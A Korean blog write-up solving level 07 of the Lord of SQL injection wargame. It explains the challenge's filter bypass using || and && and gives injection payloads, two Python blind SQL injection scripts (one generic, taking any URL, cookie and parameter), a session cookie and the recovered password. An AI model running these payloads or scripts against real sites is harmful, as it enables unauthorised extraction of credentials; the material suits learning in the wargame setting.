본문 바로가기

Wargame/Lord of SQL injection

Lord of SQL injection 07

 

https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php

 

https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php

 

los.rubiya.kr

아직 05, 06을 깨지 못했기 때문에 위 링크를 통해 접속하면 된다.

 

 

저기 preg_match가 들어있는 두 줄을 보자.

 

preg_match($pattern, $subject, [, $matches])는 문자열 안에서 특정한 정규식 패턴의 존재 여부를 찾는데 유용한 함수이다.

  • $pattern : 문자열로 검색할 패턴
  • $subject : 입력 문자열
  • [$matches] : 사용 시 패턴에 매치되는 내용을 배열에 담아둔다.

따라서 pw의 입력 값 필터링 규칙으로 prob _ . ( ) or and 같은 정보를 필터링한다는 정보를 얻을 수 있다.

 

그리고 두 번째 문단의 addslashes() 는 DB의 질의에서 처리할 필요가 있는 문자 즉, 싱글 쿼터('), 더블 쿼터("), 백슬래시(\), NUL(NULL) 앞에 백슬래시()를 붙인 문자열을 반환한다.

 

해당 문제를 해결하기 위해서는 admin 계정의 정확한 PW를 입력해야만 한다. 4번의 orc 문제와 유사하나 or과 and 연산자를 필터링한다는 점이 다르다. or과 and는 각각 || 과 && 로 대체하여 사용하고자 한다.

 

PW를 알아내기 위해 가장 먼저 length()를 이용하여 pw의 길이를 알아보았다.

pw=' || length(pw)=8%23을 입력했을 때 'Hello admin'이 출력된 것을 보아 pw의 길이가 8이라는 것을 알 수 있다.

 

 

pw의 길이를 알아냈으면 실제 pw의 값을 알아내기 위해서는 0~9, A~Z, a~z를 노가다로 하나씩 대입하여 'Hello admin'이 출력되는 값이 참값이라는 방법을 사용할 수 있다.

하지만 저번에 4번 문제를 풀때 사용했기도 하고, 시간이 오래 걸리기 때문에 파이썬 코드를 통해 pw를 알아내고자 한다. 코드를 어떻게 짜야할지 감이 안 잡혀서 구글링의 도움을 받았다. 여기서 사용되는 것이 Blind sql injection 이라고 한다.

 

F12를 눌러 개발자 도구를 열고 쿠키값을 알아낸다.

 

쿠키값은

6tqo06vcuejvnvo452gdvqkup2

 

pw의 길이인 8번 반복하고,

admin_pass에 0부터 Z까지를 대입하며,

url 과 query 와 cookie 를 입력받고,

만약 hello admin 이 res.text에 뜨면 pw를 한 글자 찾을때마다 추가해서 전체 pw를 출력한다.

 

import requests

password = ''

for admin_len in range(8): #pw의 길이 8만큼 수행
    for admin_pass in range(ord('0'), ord('z')): #숫자 0에서 부터 문자 z까지 대입
        URL = 'https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php'
        query = {'pw' : '\' || id=\'admin\' && substr(pw, 1, ' + str(admin_len + 1) +')=\'' + password + chr(admin_pass) + '\'#'}
        cookies = {'PHPSESSID' : '6tqo06vcuejvnvo452gdvqkup2'} #쿠키 정보에 각자의 쿠키 값을 대입
        res = requests.get(URL, params = query, cookies = cookies)
        if('Hello admin' in res.text): #만약에 res.text에 Hello admin이 뜨면 pw 출력
            password = password + chr(admin_pass)
            print('Password detected (' + str(admin_len + 1) + ' words): ' + password)
            break

MySQL은 대문자와 소문자를 구분하지 않기 때문에 대문자와 소문자를 모두 참으로 인식하기 때문에 pw값이 모두 대문자로 출력되었다.

 

pw값은

7B751AES

 

 

+) 구글링하다가 발견한 엄청난 코드. 조금 길긴 하지만 입력과 출력 방식이 취향이었다.

import requests

def check_length(url, cookie, param_name):
    head = {"PHPSESSID":f"{cookie}"}
    print("대상 문자열의 길이를 확인중입니다..")
    for num in range(0,30):
        param=f"?{param_name}=' || id=\"admin\" %26%26 length({param_name})={num} %23"
        my_url=url+param
        res=requests.get(my_url, cookies=head)
        if("Hello admin" in res.text):
            return num

def blind_sqli(url, cookie, param_name, length):
    head = {"PHPSESSID":f"{cookie}"}
    ans=""
    for len in range(1, length+1):
        print(f"{len}번째 문자에 대해 검색중입니다..")
        for ran in range(32,127):
            param=f"?{param_name}=' || id=\"admin\" %26%26 ascii(substr({param_name},{len},1))={ran} %23"
            my_url=url+param
            res=requests.get(my_url, cookies=head)
            if("Hello admin" in res.text):
                print(f"{len}번째 문자 → {chr(ran)}")
                ans+=chr(ran)
                break
    return ans

if __name__ == "__main__":
    print("💘 Blind 공격을 시작합니다")
    
    url=input("URL을 입력하세요:")
    cookie=input("cookie를 알려주세요:")
    param_name=input("파라미터의 이름을 알려주세요:")
    
    length=check_length(url, cookie, param_name)
    print(f"👏 {param_name}의 길이는 {length}입니다.")
    
    ans=blind_sqli(url, cookie, param_name, length)
    print(f"👏 {param_name}의 정체는 {ans}입니다!")
    
    exit

'Wargame > Lord of SQL injection' 카테고리의 다른 글

Lord of SQL injection 04  (0) 2022.11.12
Lord of SQL injection 03  (0) 2022.11.12
Lord of SQL injection 01, 02  (0) 2022.11.12